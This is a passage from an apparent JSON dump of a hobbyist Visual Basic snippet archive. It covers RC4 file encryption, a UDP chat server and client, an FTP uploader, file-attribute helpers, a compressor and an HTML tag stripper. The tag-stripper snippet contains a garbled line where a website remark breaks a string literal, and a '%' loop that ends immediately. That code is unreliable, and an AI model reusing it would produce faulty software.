temp = s(i)\n s(i) = s(j)\n s(j) = temp\n 'Generate Keybyte k\n k = s((s(i) + s(j)) Mod 256)\n 'Plaintextbyte xor Keybyte\n cipherby = plainbyte Xor k\nEnDeCryptSingle = cipherby\nEnd Function\n\n'************This section handles the file actions*****************\nPrivate Sub DirList_Change()\nfilList.path = Dirlist.path\nEnd Sub\nPrivate Sub drvList_Change()\nOn Error GoTo DriveHandler\nDirlist.path = drvList.Drive\nExit Sub\nDriveHandler:\ndrvList.Drive = Dirlist.path\nExit Sub\nEnd Sub\n\nPrivate Sub filList_Click()\ntxtSave.Text = filList.List(filList.ListIndex)\nEnd Sub\nPrivate Sub Form_Load()\ntxtPatter.AddItem \"*.*\", 0\ntxtPatter.AddItem \"*.txt\", 1\nfilList.Pattern = txtPatter.Text\nEnd Sub\nPrivate Sub txtPatter_Change()\nfilList.Pattern = txtPatter.Text\nEnd Sub\nPrivate Sub txtPatter_Click()\nfilList.Pattern = txtPatter.Text\nEnd Sub\n'************* Encrypten Routine ******************\nPrivate Sub Command1_Click()\nDim inbyte As Byte\nDim z As Long\n'Set the Set-Box Counter zero\ni = 0: j = 0\n'Ini the S-Boxes only once for a hole file\nIf txtpwd.Text = \"\" Then\nMsgBox \"You need to enter a password for encrypten or decrypten\"\nExit Sub\nElse\nRC4ini (txtpwd.Text)\nEnd If\n'Disable the Mousepointer\nMousePointer = vbHourglass\npath = Dirlist.path + \"\\\" + txtSave\nOpen path For Binary As 1\nOpen path + \".enc\" For Binary As 2\nFor z = 1 To LOF(1)\nGet #1, , inbyte\nPut #2, , EnDeCryptSingle(inbyte)\nNext z\nClose 1\nClose 2\n'Enable the Mousepointer\nMousePointer = vbDefault\nEnd Sub\n\n'*********** Decryptenroutine ***********\nPrivate Sub Command2_Click()\nDim inbyte As Byte\nDim z As Long\n'Set the Set-Box counter zero\ni = 0: j = 0\n'Ini the S-Boxes only once for a hole file\nIf txtpwd.Text = \"\" Then\nMsgBox \"You need to enter a password for encrypten or decrypten\"\nExit Sub\nElse\nRC4ini (txtpwd.Text)\nEnd If\n\n'Disable the Mousepointer\nMousePointer = vbHourglass\npath = Dirlist.path + \"\\\" + txtSave\n\nOpen path For Binary As 1\npath = Left$(path, Len(path) - 4)\nOpen path For Binary As 2\nFor z = 1 To LOF(1)\nGet #1, , inbyte\nPut #2, , EnDeCryptSingle(inbyte)\nNext\nClose 1\nClose 2\n'Enable the Mousepointer\nMousePointer = vbDefault\nEnd Sub\n"},{"WorldId":1,"id":1737,"LineNumber":1,"line":"'Name: Client and Server Chat Room (Server)\n'Author: Matt Insler\n'Written: 5/7/99\n'Purpose: This program will allow more than a one on one direct connection chat, like previous postings show.\n' This will allow as many clients as have the client and the host name or IP to chat by using a server to\n' receive the messages and send them back out to all computers in the collection. This is a good start\n' for a mIrc style chat, or an AOL style chat, or any other type of chat program. By adding a listbox\n' to the client and making a procedure that will send all of the names to the clients, and a procedure to\n' receive and add the names, you can make a listbox showing who is in the room. Also, if you wish to make\n' separate channels, or rooms, you can either run multiple versions of the server on different ports, or\n' you can add more winsock controls and have them all simultaneously listening and running the server.\n' If you happen to use my code as a stepping stool to a good chat program or find any ways to make this program\n' better, please send it to me at racobac@aol.com. Thanks.\n'Input: Nothing, but to sit back and watch people chat, or to chat with them as ServerMaster.\n'Returns: Watch the chat happen, and facilitate a server for people to chat on.\n'Side Effects: None that I know of. If you find any, please email me.\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n'*****************************************************************************************************************\n'Create a new form and add three(3) text boxes, one(1) command button, one(1) list box, and add the microsoft winsock control\n'Change the name of the text boxes to tMain, and tSend, tIP, name the command button cSnd, and name the list box lName\n'Change the name of the winsock control to Wsck\n'Change the caption of cSnd to \"Send\"\n'Make tMain multiline = true, scrollbars = 2 - vertical, and locked = true\n'Make lName Sorted = true\n'Make cSnd Default = true\n'Insert the following code\n'Declarations:\nDim Client As New Collection\nDim Names As New Collection\nConst Indicator = \":':\"\nPrivate Sub cSnd_Click()\n \n 'Send button\n 'Make string to send\n txt$ = \"ServerMaster: \" & tSend.Text & Chr$(13) & Chr$(10)\n 'Send to clients\n Call SendOut(txt$)\n 'Clear Send text box\n tSend.Text = \"\"\nEnd Sub\nPrivate Sub Form_Load()\n \n 'Clear Main text box\n tMain.Text = \"\"\n 'We will be using UDP for this program because it does not establish a constant connection to another computer.\n 'This will allow the server to keep \"listening\" for messages from other addresses on a network or the internet.\n Wsck.Protocol = sckUDPProtocol\n 'Set your constant port (must be the same in clients)\n Wsck.LocalPort = 2367\n 'Start listening\n Wsck.Bind\n 'Add the server to the name list\n 'This would allow you to make a list box in the client that could receive all of the names of the people in the room.\n RmIP = Wsck.LocalIP\n RmPt = 2367\n Names.Add Key:=RmIP, Item:=\"ServerMaster\"\n 'Display your IP Address for client use, and Computer Name for network use.\n tIP.Text = RmIP & \" / \" & Wsck.LocalHostName\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n 'End connection on Winsock\n Wsck.Close\n End\nEnd Sub\nPrivate Sub lName_DblClick()\n \n 'Double-click an IP Address in the listbox\n 'Create message with client NickName, IP Address, and Port\n txt$ = Names(lName.Text) & \", \" & lName.Text & \", \" & Client(lName.Text)\n MsgBox txt$, vbOKOnly, \"User Information\"\nEnd Sub\nPrivate Sub Wsck_DataArrival(ByVal bytesTotal As Long)\n \n 'Winsock received a message\n 'If an error occurs, ignore it and go on to the next command\n On Error Resume Next\n Dim DATA As String\n Dim DATA2 As String\n Dim Nam As String\n Dim MsgText As String\n \n 'Retreive message in string format\n Wsck.GetData DATA, vbString\n 'Get client's IP and Port\n RmIP = Wsck.RemoteHostIP\n RmPt = Wsck.RemotePort\n \n 'Get first letter of message\n DATA2 = Left(DATA, 1)\n 'Get the rest of the message\n DATA = Mid(DATA, 2)\n 'If the message is a system command:\n If DATA2 = \"s\" Then\n 'If a client wants to connect to the room:\n If Left(DATA, 20) = Indicator & \"CoNnEcTrEqUeSt\" & Indicator Then\n 'Extract the client NickName from the message\n Nam = Mid(DATA, 21)\n 'Add client's IP and Port to your collections\n Client.Add Key:=RmIP, Item:=RmPt\n Names.Add Key:=RmIP, Item:=Nam\n 'Add client's IP to the listbox\n lName.AddItem RmIP\n Exit Sub\n 'If a client wants to disconnect from the room:\n ElseIf DATA = Indicator & \"CoNnEcTcAnCeL\" & Indicator Then\n 'Loop through listbox and find client's IP\n For X = 0 To lName.ListCount - 1\n lName.ListIndex = X\n RmEx = lName.Text\n 'When found, remove IP from listbox\n If RmEx = RmIP Then lName.RemoveItem (X)\n Next\n 'Remove client from your collections\n Client.Remove (RmIP)\n Names.Remove (RmIP)\n Exit Sub\n End If\n 'If the message is text sent to the room:\n ElseIf DATA2 = \"t\" Then\n 'Send text to clients\n Call SendOut(DATA)\n End If\nEnd Sub\nPrivate Sub Wsck_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)\n 'Error occured in winsock!\n MsgBox \"An error occurred in winsock!\"\n 'Close connection\n Wsck.Close\nEnd Sub\nSub SendOut(StringToSend As String)\n 'Send a text message to all clients in collection/listbox\n 'If an error occurs, ignore it and go on to the next command\n On Error Resume Next\n 'Loop through all IP in listbox\n For X = 0 To lName.ListCount - 1\n 'Select each IP\n lName.ListIndex = X\n 'Set IP and Port to send to\n RmIP = lName.Text\n RmPt = Client(RmIP)\n Wsck.RemoteHost = RmIP\n Wsck.RemotePort = RmPt\n 'Send text message\n Wsck.SendData \"t\" & StringToSend\n Next\n \n 'Add the text message to your room\n tMain.Text = tMain.Text & StringToSend\n 'Scroll to the bottom of the room\n tMain.SelStart = Len(tMain)\nEnd Sub\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n'*****************************************************************************************************************\n'Name: Client and Server Chat Room (Client)\n'Author: Matt Insler\n'Written: 5/7/99\n'Purpose: This program will allow more than a one on one direct connection chat, like previous postings show.\n' This will allow as many clients as have the client and the host name or IP to chat by using a server to\n' receive the messages and send them back out to all computers in the collection. This is a good start\n' for a mIrc style chat, or an AOL style chat, or any other type of chat program. By adding a listbox\n' to the client and making a procedure that will send all of the names to the clients, and a procedure to\n' receive and add the names, you can make a listbox showing who is in the room. Also, if you wish to make\n' separate channels, or rooms, you can either run multiple versions of the server on different ports, or\n' you can add more winsock controls and have them all simultaneously listening and running the server.\n' If you happen to use my code as a stepping stool to a good chat program or find any ways to make this program\n' better, please send it to me at racobac@aol.com. Thanks.\n'Input: Host IP or Computer Name, and a NickName, along with whatever you wish to send to the room.\n'Returns: What everyone who is in the room types back to you, along with your messages.\n'Side Effects: None that I know of. If you find any, please email me.\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n'*****************************************************************************************************************\n'Create a new form and add four(4) text boxes, three(3) command buttons, and add the microsoft winsock control\n'Change the name of the text boxes to tHost, tName, tMain, and tSend, and name the command buttons cCon, cDis, cSnd\n'Change the name of the winsock control to Wsck\n'Change the caption of cCon to \"Connect\", cDis to \"Disconnect\", and cSnd to \"Send\"\n'Make tMain multiline = true, scrollbars = 2 - vertical, and locked = true\n'Make cDis and cSnd enabled = false\n'\n'Make cSnd Default = true\n'Insert the following code\n'Declarations:\nConst Indicator = \":':\"\nPrivate Sub cCon_Click()\n \n 'Connect button\n 'Check if a Host Name or IP has been entered\n If Len(tHost) < 1 Then\n MsgBox (\"Please make sure a Host has been entered!\")\n 'Put blinker in host text box\n tHost.SetFocus\n Exit Sub\n 'Check if a NickName has been entered\n ElseIf Len(tName) < 1 Then\n MsgBox \"You must enter a nickname first!\"\n 'Put blinker in NickName text box\n tName.SetFocus\n Exit Sub\n End If\n \n 'If an error occurs, jump to Ending\n On Error GoTo Ending\n 'Set the IP or Host Computer to connect to\n Wsck.RemoteHost = tHost.Text\n 'Randomize a Port setting\n Wsck.LocalPort = Int((9999 * Rnd) + 1)\n 'Set the Port to connect to\n Wsck.RemotePort = 2367\n 'Connect!\n Wsck.Bind\n 'Send system request to connect\n Wsck.SendData \"s\" & Indicator & \"CoNnEcTrEqUeSt\" & Indicator & tName.Text\n 'Enable Send and Disconnect buttons, and disable Connect button and NickName text box\n cSnd.Enabled = True\n cDis.Enabled = True\n cCon.Enabled = False\n tName.Enabled = False\n 'Put blinker in the Send text box\n tSend.SetFocus\n Exit Sub\nEnding:\n 'Error handling\n MsgBox \"You are not connected to the internet or the Host is not available.\", , Form1.Caption\n 'Click the Disconnect button\n cDis_Click\nEnd Sub\nPrivate Sub cDis_Click()\n \n 'Disconnect button\n 'If an error occurs, ignore it and go on to the next command\n On Error Resume Next\n 'Send system message to disconnect from server\n Wsck.SendData \"s\" & Indicator & \"CoNnEcTcAnCeL\" & Indicator\n 'Close connection\n Wsck.Close\n 'Enable Connect button and NickName text box, and disable Send and Disconnect buttons\n cCon.Enabled = True\n tName.Enabled = True\n cDis.Enabled = False\n cSnd.Enabled = False\n 'Put blinker in NickName text box\n tName.SetFocus\nEnd Sub\nPrivate Sub cSnd_Click()\n \n 'Send button\n Wsck.SendData \"t\" & tName.Text & \":\" & vbTab & tSend.Text & Chr$(13) & Chr$(10)\n 'Clear Send text box\n tSend.Text = \"\"\nEnd Sub\nPrivate Sub Form_Load()\n 'We will be using UDP for this program because it does not establish a constant connection to another computer.\n 'This will allow the server to keep \"listening\" for messages from other addresses on a network or the internet.\n Wsck.Protocol = sckUDPProtocol\n 'Clear Main text box\n tMain.Text = \"\"\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n 'End connection on Winsock\n Wsck.Close\n End\nEnd Sub\nPrivate Sub Wsck_DataArrival(ByVal bytesTotal As Long)\n \n 'If an error occurs, ignore it and go on to the next command\n On Error Resume Next\n Dim Data As String\n Dim Data2 As String\n 'Retreive message in string format\n Wsck.GetData Data, vbString\n \n 'Get first letter of message\n Data2 = Left(Data, 1)\n 'Get the rest of the message\n Data = Mid(Data, 2)\n 'If the message is a system command:\n If Data2 = \"s\" Then\n 'You can add your own system commands from the server to the client here.\n 'I have made one to throw out the client if I decide to.\n 'If the message is text sent to the room:\n ElseIf Data2 = \"t\" Then\n 'Add the text message to your room\n tMain.Text = tMain.Text & Data\n 'Scroll to the bottom of the room\n tMain.SelStart = Len(tMain)\n Exit Sub\n End If\nEnd Sub\nPrivate Sub Wsck_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)\n 'Error occured in winsock!\n MsgBox \"An error occurred in winsock!\"\n 'Close connection\n Wsck.Close\nEnd Sub"},{"WorldId":1,"id":1742,"LineNumber":1,"line":"'Pass this function your ADO recordset\nFunction GetTotalRecords(ByRef aRS As ADODB.Recordset) As Long\nOn Error GoTo handelgettotalrec\n Dim adoBookM As Variant 'Declare a variable to keep the current location\n adoBookM = aRS.Bookmark 'Get the current location in the recordset\n aRS.MoveLast 'Move to the last record in the recordset\n GetTotalRecords = aRS.RecordCount 'Set the count value\n aRS.Bookmark = adoBookM 'Return to the origanal record\n Exit Function\nhandelgettotalrec:\n GetTotalRecords = 0 'If there's any errors return 0\n Exit Function\nEnd Function"},{"WorldId":1,"id":1753,"LineNumber":1,"line":"Function ExtractArgument (ArgNum As Integer, srchstr As String, Delim As String) As String\n 'Extract an argument or token from a string based on its position\n 'and a delimiter.\n On Error GoTo Err_ExtractArgument\n Dim ArgCount As Integer\n Dim LastPos As Integer\n Dim Pos As Integer\n Dim Arg As String\n \n Arg = \"\"\n LastPos = 1\n If ArgNum = 1 Then Arg = srchstr\n \n Do While InStr(srchstr, Delim) > 0\n Pos = InStr(LastPos, srchstr, Delim)\n If Pos = 0 Then\n 'No More Args found\n If ArgCount = ArgNum - 1 Then Arg = Mid(srchstr, LastPos)\n Exit Do\n Else\n ArgCount = ArgCount + 1\n If ArgCount = ArgNum Then\n Arg = Mid(srchstr, LastPos, Pos - LastPos)\n Exit Do\n End If\n End If\n LastPos = Pos + 1\n Loop\n \n '---------\n ExtractArgument = Arg\n Exit Function\nErr_ExtractArgument:\n MsgBox \"Error \" & Err & \": \" & Error\n Resume Next\nEnd Function\n\n"},{"WorldId":1,"id":1765,"LineNumber":1,"line":"'set the timer's interval to 1\nPrivate Sub Timer1_Timer()\nForm1.Show\nForm1.SetFocus\nEnd Sub\n"},{"WorldId":1,"id":1774,"LineNumber":1,"line":"Public Sub MakeWindowAlwaysTop(hwnd As Long)\nSetWindowPos hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE + SWP_NOSIZE\nEnd Sub\nPublic Sub MakeWindowNotTop(hwnd As Long)\nSetWindowPos hwnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE + SWP_NOSIZE\nEnd Sub\n"},{"WorldId":1,"id":1776,"LineNumber":1,"line":"Sub Form_Load()\nDim MyDate as Date\nMyDate = \"1/1/00\" 'Or\n'MyDate = \"1/1/29\" 'Returns 1/1/2029\n'MyDate = \"1/1/30\" 'Returns 1/1/1930\n'MyDate = \"2/29/00\" 'The Leap Year Date (Usually causes the most probs) \nMsgBox Format(MyDate, \"mm/dd/yyyy\")\nEnd Sub"},{"WorldId":1,"id":1783,"LineNumber":1,"line":"Dim Commun(5) As Com\nDim CommunState As Integer\nDim Site As String\nDim Username As String\nDim Password As String\nDim Remotefile As String\nDim Localfile As String\nDim Buffersize As Long\nDim CloseAfterSend As Boolean\nPrivate Sub Command1_Click()\nSite = \"\"\nUsername = \"\"\nPassword = \"\"\nLocalfile = \"c:\\windows\\desktop\\view.exe\"\nRemotefile = \"/view.exe\"\nCommun(0).Reply = \"220\"\nCommun(0).BackCommand = \"USER \" + Username\nCommun(1).Reply = \"331\"\nCommun(1).BackCommand = \"PASS \" + Password\nCommun(2).Reply = \"230\"\nCommun(2).BackCommand = \"TYPE I\"\nCommun(3).Reply = \"200\"\nCommun(3).BackCommand = \"PORT\"\nCommun(4).Reply = \"200\"\nCommun(4).BackCommand = \"STOR \" + Remotefile\nCommun(5).Reply = \"\"\nCommun(5).BackCommand = \"\"\nBuffersize = 2920\nDim Nr1 As Integer\nDim Nr2 As Integer\nDim LocalIP As String\nLocalIP = Winsock1.LocalIP\nDo Until InStr(LocalIP, \".\") = 0\nLocalIP = Left(LocalIP, InStr(LocalIP, \".\") - 1) + \",\" + Right(LocalIP, Len(LocalIP) - InStr(LocalIP, \".\"))\nLoop\nRandomize Timer\nNr1 = Int(Rnd * 12) + 5\nNr2 = Int(Rnd * 254) + 1\nCommun(3).BackCommand = \"PORT \" + LocalIP + \",\" + Trim(Str(Nr1)) + \",\" + Trim(Str(Nr2))\nWinsock2.Close\nDo Until Winsock2.State = 0\nDoEvents\nLoop\nWinsock2.LocalPort = (Nr1 * 256) + Nr2\nWinsock2.Listen\nWinsock1.Close\nDo Until Winsock1.State = 0\nDoEvents\nLoop\nWinsock1.RemoteHost = Site\nWinsock1.RemotePort = 21\nWinsock1.Connect\nCommunState = 0\nDo Until Winsock1.State = 7 Or Winsock1.State = 9\nDoEvents\nLoop\nSelect Case Winsock1.State\nCase 9\nMsgBox \"Couldn't reach server \" + Site + \".\", vbOKOnly + vbInformation, \"FTP Upper\"\nCase 7\nOpen Localfile For Binary As #1\nEnd Select\nEnd Sub\nPrivate Sub Form_Load()\nEnd Sub\nPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)\nDim tmpS As String\nWinsock1.GetData tmpS, , bytesTotal\nDebug.Print tmpS;\nSelect Case Left(tmpS, 3)\nCase Commun(CommunState).Reply\nWinsock1.SendData Commun(CommunState).BackCommand + Chr(13) + Chr(10)\nDebug.Print Commun(CommunState).BackCommand\nCommunState = CommunState + 1\nCase \"150\"\nDo Until Winsock2.State = 7\nDoEvents\nLoop\nSendNextData\nCase \"226\"\nWinsock1.Close\nDo Until Winsock1.State = 0\nDoEvents\nLoop\nMsgBox \"Transfer complete.\", vbOKOnly + vbInformation, \"FTP Upper\"\nCase Else\nMsgBox \"Bad reply: \" + Left(tmpS, Len(tmpS) - 2), vbOKOnly + vbInformation, \"FTP Upper\"\nEnd Select\nEnd Sub\nPrivate Sub Winsock2_ConnectionRequest(ByVal requestID As Long)\nWinsock2.Close\nDo Until Winsock2.State = 0\nDoEvents\nLoop\nWinsock2.Accept requestID\nDo Until Winsock2.State = 7\nDoEvents\nLoop\nEnd Sub\nSub SendNextData()\nDim Take As Long\nDim Buffer As String\nIf LOF(1) - Seek(1) < Buffersize Then Take = LOF(1) - Seek(1) + 1 Else Take = Buffersize\nBuffer = Input(Take, 1)\nWinsock2.SendData Buffer\nIf Take < Buffersize Then\nClose #1\nCloseAfterSend = True\nEnd If\nOn Error Resume Next\nLabel1 = Trim(Str(Seek(1))) + \"/\" + Trim(Str(LOF(1)))\nOn Error GoTo 0\nEnd Sub\nPrivate Sub Winsock2_SendComplete()\nIf CloseAfterSend = True Then\nWinsock2.Close\nDo Until Winsock2.State = 0\nDoEvents\nLoop\nCloseAfterSend = False\nElse\nSendNextData\nEnd If\nEnd Sub\n"},{"WorldId":1,"id":1811,"LineNumber":1,"line":"Public Function WinDir(Optional ByVal AddSlash As Boolean = False) As String\n Dim t As String * 255\n Dim i As Long\n i = GetWindowsDirectory(t, Len(t))\n WinDir = Left(t, i)\n If (AddSlash = True) And (Right(WinDir, 1) <> \"\\\") Then\n WinDir = WinDir & \"\\\"\n ElseIf (AddSlash = False) And (Right(WinDir, 1) = \"\\\") Then\n WinDir = Left(WinDir, Len(WinDir) - 1)\n End If\nEnd Function\nPublic Function SysDir(Optional ByVal AddSlash As Boolean = False) As String\n Dim t As String * 255\n Dim i As Long\n i = GetSystemDirectory(t, Len(t))\n SysDir = Left(t, i)\n If (AddSlash = True) And (Right(SysDir, 1) <> \"\\\") Then\n SysDir = SysDir & \"\\\"\n ElseIf (AddSlash = False) And (Right(SysDir, 1) = \"\\\") Then\n SysDir = Left(SysDir, Len(SysDir) - 1)\n End If\nEnd Function"},{"WorldId":1,"id":1812,"LineNumber":1,"line":"'use these constants to set the attributes you want\nFILE_ATTRIBUTE_ARCHIVE = &H20\nFILE_ATTRIBUTE_COMPRESSED = &H800\nFILE_ATTRIBUTE_DIRECTORY = &H10\nFILE_ATTRIBUTE_HIDDEN = &H2\nFILE_ATTRIBUTE_NORMAL = &H80\nFILE_ATTRIBUTE_READONLY = &H1\nFILE_ATTRIBUTE_SYSTEM = &H4\nPublic Function SetAttributes(ByVal FullFilePath As String, Optional ByVal FileAttributes As Long = &H20) As Long\n 'makes sure that the file path is not too long\n FullFilePath = Left(FullFilePath, 255)\n SetAttributes = SetFileAttributes(FullFilePath, FileAttributes)\nEnd Function\nPublic Function GetAttributes(ByVal FullFilePath as String) as Integer\n GetAttributes = GetFileAttributes(FullFilePath)\nEnd Function"},{"WorldId":1,"id":1821,"LineNumber":1,"line":"Option Explicit\nPublic Function sCompress(sCompData As String) As String\n Dim lDataCount As Long\n Dim lBufferStart As Long\n Dim lMaxBufferSize As Long\n Dim sBuffer As String\n Dim lBufferOffset As Long\n Dim lBufferSize As Long\n Dim sDataControl As String\n Dim bDataControlChar As Byte\n Dim lControlCount As Long\n Dim bControlPos As Byte\n Dim bCompLen As Long\n Dim lCompPos As Long\n Dim bMaxCompLen As Long\n \n lMaxBufferSize = 65535\n bMaxCompLen = 255\n lBufferStart = 0\n sDataControl = \"\"\n bDataControlChar = 0\n bControlPos = 0\n lControlCount = 0\n If Len(sCompData) > 4 Then\n sCompress = Left(sCompData, 4)\n For lDataCount = 5 To Len(sCompData)\n If lDataCount > lMaxBufferSize Then\n lBufferSize = lMaxBufferSize\n lBufferStart = lDataCount - lMaxBufferSize\n Else\n lBufferSize = lDataCount - 1\n lBufferStart = 1\n End If\n sBuffer = Mid(sCompData, lBufferStart, lBufferSize)\n If Len(sCompData) - lDataCount < bMaxCompLen Then bMaxCompLen = Len(sCompData) - lDataCount\n lCompPos = 0\n For bCompLen = 3 To bMaxCompLen Step 3\n If bCompLen > bMaxCompLen Then\n bCompLen = bMaxCompLen\n End If\n lCompPos = InStr(1, sBuffer, Mid(sCompData, lDataCount, bCompLen), 0)\n If lCompPos = 0 Then\n If bCompLen > 3 Then\n While lCompPos = 0\n lCompPos = InStr(1, sBuffer, Mid(sCompData, lDataCount, bCompLen - 1), 0)\n If lCompPos = 0 Then bCompLen = bCompLen - 1\n Wend\n End If\n bCompLen = bCompLen - 1\n Exit For\n End If\n Next\n If bCompLen > bMaxCompLen And lCompPos > 0 Then\n bCompLen = bMaxCompLen\n lCompPos = InStr(1, sBuffer, Mid(sCompData, lDataCount, bCompLen), 0)\n End If\n If lCompPos > 0 Then\n lBufferOffset = lBufferSize - lCompPos + 1\n sCompress = sCompress & Chr((lBufferOffset And &HFF00) / &H100) & Chr(lBufferOffset And &HFF) & Chr(bCompLen)\n lDataCount = lDataCount + bCompLen - 1\n bDataControlChar = bDataControlChar + 2 ^ bControlPos\n Else\n sCompress = sCompress & Mid(sCompData, lDataCount, 1)\n End If\n bControlPos = bControlPos + 1\n If bControlPos = 8 Then\n sDataControl = sDataControl & Chr(bDataControlChar)\n bDataControlChar = 0\n bControlPos = 0\n End If\n lControlCount = lControlCount + 1\n Next\n If bControlPos <> 0 Then sDataControl = sDataControl & Chr(bDataControlChar)\n sCompress = Chr((lControlCount And &H8F000000) / &H1000000) & Chr((lControlCount And &HFF0000) / &H10000) & Chr((lControlCount And &HFF00) / &H100) & Chr(lControlCount And &HFF) & Chr((Len(sDataControl) And &H8F000000) / &H1000000) & Chr((Len(sDataControl) And &HFF0000) / &H10000) & Chr((Len(sDataControl) And &HFF00) / &H100) & Chr(Len(sDataControl) And &HFF) & sDataControl & sCompress\n Else\n sCompress = sCompData\n End If\nEnd Function\nPublic Function sDecompress(sDecompData As String) As String\n Dim lControlCount As Long\n Dim lControlPos As Long\n Dim bControlBitPos As Byte\n Dim lDataCount As Long\n Dim lDataPos As Long\n Dim lDecompStart As Long\n Dim lDecompLen As Long\n \n If Len(sDecompData) > 4 Then\n lControlCount = Asc(Left(sDecompData, 1)) * &H1000000 + Asc(Mid(sDecompData, 2, 1)) * &H10000 + Asc(Mid(sDecompData, 3, 1)) * &H100 + Asc(Mid(sDecompData, 4, 1))\n lDataCount = Asc(Mid(sDecompData, 5, 1)) * &H1000000 + Asc(Mid(sDecompData, 6, 1)) * &H10000 + Asc(Mid(sDecompData, 7, 1)) * &H100 + Asc(Mid(sDecompData, 8, 1)) + 9\n sDecompress = Mid(sDecompData, lDataCount, 4)\n lDataCount = lDataCount + 4\n bControlBitPos = 0\n lControlPos = 9\n For lDataPos = 1 To lControlCount\n If 2 ^ bControlBitPos = (Asc(Mid(sDecompData, lControlPos, 1)) And 2 ^ bControlBitPos) Then\n lDecompStart = Len(sDecompress) - (CLng(Asc(Mid(sDecompData, lDataCount, 1))) * &H100 + CLng(Asc(Mid(sDecompData, lDataCount + 1, 1)))) + 1\n lDecompLen = Asc(Mid(sDecompData, lDataCount + 2, 1))\n sDecompress = sDecompress & Mid(sDecompress, lDecompStart, lDecompLen)\n lDataCount = lDataCount + 3\n Else\n sDecompress = sDecompress & Mid(sDecompData, lDataCount, 1)\n lDataCount = lDataCount + 1\n End If\n bControlBitPos = bControlBitPos + 1\n If bControlBitPos = 8 Then\n bControlBitPos = 0\n lControlPos = lControlPos + 1\n End If\n Next\n Else\n sDecompress = sDecompData\n End If\nEnd Function\n'Put a two command buttons (Command1 and Command2) on to a form and paste the following on to it as well:\nOption Explicit\nPrivate Const sFileName = \"c:\\compressthis.exe\" ' the file to be compressed\nPrivate Sub Command1_Click() 'Compress the file\n Dim sReturn As String\n Dim sFileData As String\n \n Open sFileName For Binary As #1\n sFileData = Input(LOF(1), #1)\n Close #1\n sReturn = sCompress(sFileData)\n Debug.Print Len(sReturn), Len(sFileData)\n \n Open Left(sFileName, Len(sFileName) - 3) & \"wnc\" For Output As #1\n Print #1, sReturn;\n Close #1\nEnd Sub\nPrivate Sub Command2_Click() 'Decompress the file\n Dim sReturn As String\n Dim sFileData As String\n \n Open Left(sFileName, Len(sFileName) - 4) & \".wnc\" For Binary As #1\n sFileData = Input(LOF(1), #1)\n sReturn = sDecompress(sFileData)\n Close #1\n Debug.Print Len(sReturn), Len(sFileData)\n \n Open Left(sFileName, Len(sFileName) - 4) & \"2\" & Right(sFileName, 4) For Output As #1\n Print #1, sReturn;\n Close #1\nEnd Sub"},{"WorldId":1,"id":1822,"LineNumber":1,"line":"Private Sub FindFunction_Click()\nRem Find/highlight first occurance of a word in a textbox named Text1 \nDim a As String\nDim y As Integer\na = InputBox(\"Find text: \", \"Find\", \"\")\nCall Text1.SetFocus\nSendKeys (\"^{HOME}\")\ny = 1\nDo Until y = Len(Text1.text)\n Rem check if word was located\n If Mid(UCase$(Text1.text), y, Len(a)) = UCase$(a) Then\n Rem highlight the found word and exit sub\n For x = 1 To Len(a)\n SendKeys (\"+{RIGHT}\")\n Next x\n Exit Do\n End If\n Rem do nothing if carriage return encountered else highlight found word\n If Mid(Text1.text, y, 1) = Chr$(13) Then\n Else\n Rem move the cursor to the next element of text\n SendKeys (\"{RIGHT}\")\n End If\n y = y + 1\n If y > Len(Text1.text) Then Exit Do\nLoop\nEnd Sub"},{"WorldId":1,"id":1833,"LineNumber":1,"line":"Public Function ReplaceTags(varName As String) As String\n'Will check each character for it \"& n b s p;\" without the spaces\n'If it exists, skip it\n'Will strip HTML tags and characters\nDim i As Double, varHold As String\nDim checkval As String, holdVal As String\n For i = 1 To Trim(Len(varName))\n \n checkval = Mid(varName, i, 6)\n holdVal = Mid(varName, i, 1)\n \n \n If checkval = \"This page won't allow \"& n b s p;\" Then\n 'So just remove the spaces\n i = i + 5\n GoTo LabelNext\n End If\n \n If holdVal = \"<\" Then\n Do Until holdVal = \">\"\n i = i + 1\n holdVal = Mid(varName, i, 1)\n Loop\n holdVal = \"\"\n End If\n \n If holdVal = \"%\" Then\n Do Until holdVal = \"%\"\n i = i + 1\n holdVal = Mid(varName, i, 1)\n Loop\n holdVal = \"\"\n End If\n \n varHold = varHold & holdVal\n \nLabelNext:\n \n Next i\n \nReplaceTags = varHold\n \nEnd Function\nCreate a form and place two richtext box controls on it and a command button:\nRichTextBox1\nRichTextBox2 \nCommand1\nNow call it like the following:Assuming HTML is in Richtextbox1\nPrivate Sub Command1_Click()\n Me.RichTextBox2 = ReplaceTags(Me.RichTextBox1)\nEnd Sub\n"},{"WorldId":1,"id":1837,"LineNumber":1,"line":"' Example\n' Write and read from a text file\n' for beginners\n'\n' Note: this type of read/write will\n' only allow for one line to be\n' writen or read from a file.\n' A seperate file must be used in\n' each instance using this method.\n' This is not the best method, but\n' probably the easiest.\n' ===============================\n'\n' Author: G. M. Faggiano\n' Faggiano Internet Business Development\n' http://fibdev.com\n' vb@fibdev.com\n' ======================================\n'\n' Step 1,\n' Create a new project and save it or open\n' an existing project\n' Step 2,\n' Put a textbox object on form1\n' Step 3,\n' place two command buttons, command1 and\n' command2\n' Step 4,\n' In the project directory create a text file\n' and name it test.txt\n' General Declarations\n' Variable to hold the location\n' of the text file\nDim txtPath As String\n' Variable to hold the text to\n' be writen to the text file\nDim txtOut As String\n' Variable to hold the text\n' to be read from the text 